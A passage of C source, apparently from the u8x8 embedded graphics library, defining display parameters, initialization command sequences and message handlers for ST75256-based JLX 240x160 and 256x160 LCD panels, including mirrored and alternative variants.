u8x8_st75256_240x160_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 30,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 16,\t/*  x offset in flipmode 0 */\n  /* flipmode_x_offset = */ 0,\t\t/* */\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 160\n};\n\n\nstatic const uint8_t u8x8_d_st75256_240x160_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 239),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 159 ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x18, 0x04 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_jlx240160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1 */\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n                c *= 8;\n\n                if ( c + x > 240u )\n                {\n                        c = 240u;\n                        c -= x;\n                }\n                      \n                u8x8_cad_SendData(u8x8, c, ptr); \t\n                x += c;\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n\t    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_240x160_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n\t    u8x8_d_helper_display_init(u8x8);\n\t    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_240x160_init_seq);    \n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n  \n  \n  \n}\n\n\n/*=============================================*/\n/* JLX256160 */\n\nstatic const u8x8_display_info_t u8x8_st75256_256x160_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 32,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 1,\t/* x offset is used as y offset in flipmode */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 160\n};\n\n\nstatic const uint8_t u8x8_d_st75256_256x160_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x28),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 0xFF),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 159 ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x18, 0x05 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_jlx256160(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 1 )\t\t/* 1 means flip mode 1 */\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->display_info->default_x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\t\t/* SendData can not handle more than 255 bytes, treat c > 31 correctly  */\n\t\tif ( c > 31 )\n\t\t{\n\t\t  u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n\t\t  ptr+=248;\n\t\t  c -= 31;\n\t\t}\n\t\t\n\t\tu8x8_cad_SendData(u8x8, c*8, ptr); \t\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n\t    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x160_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n\t    u8x8_d_helper_display_init(u8x8);\n\t    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160_init_seq);    \n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx256160_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n}\n\n\n/*=============================================*/\n/* JLX256160 mirror version #930 */\n\n\nstatic const uint8_t u8x8_d_st75256_256x160m_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x28),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 0xFF),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir  ( CHANGED FOR MIRROR VERSION ) */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 159 ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x18, 0x05 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st75256_jlx256160m(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 1 )\t\t/* 1 means flip mode 1 */\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->display_info->default_x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\t\t/* SendData can not handle more than 255 bytes, treat c > 31 correctly  */\n\t\tif ( c > 31 )\n\t\t{\n\t\t  u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n\t\t  ptr+=248;\n\t\t  c -= 31;\n\t\t}\n\t\t\n\t\tu8x8_cad_SendData(u8x8, c*8, ptr); \t\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n\t    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75256_256x160_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n\t    u8x8_d_helper_display_init(u8x8);\n\t    u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x160m_init_seq);    \n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n}\n\n\n\n\n/*=============================================*/\n/* JLX256160 alternative version from issue #561 */\n\nstatic const u8x8_display_info_t u8x8_st75256_256x160_alt_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 32,\n  /* tile_height = */ 20,\n  /* default_x_offset = */ 0,\t/*  x offset in flipmode 0 */\n  /* flipmode_x_offset = */ 0,\t\t/* */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 160\n};\n\n\nstatic const uint8_t u8x8_d_st75256_256x160_alt_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x000 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 255),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 159 ),\t\t\t\t/* 1/160 duty value from the DS example code */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x18, 0x05 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75256_jlx256160_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1 */\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\t\t/* SendData can not handle more than 255 bytes, treat c > 31 correctly  */\n\t\tif ( c > 31 )\n\t\t{\n\t\t  u8x8_cad_SendData(u8x8, 248, ptr); \t/* 31*8=248 */\n\t\t  ptr+=248;\n\t\t  c -= 31;\n\t\t}\n\t\t\n\t\tu8x8_cad_SendData(u8x8, c*8, ptr); \t\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n\t    u8x8_d_helper_display_setup_memory(u8x8, 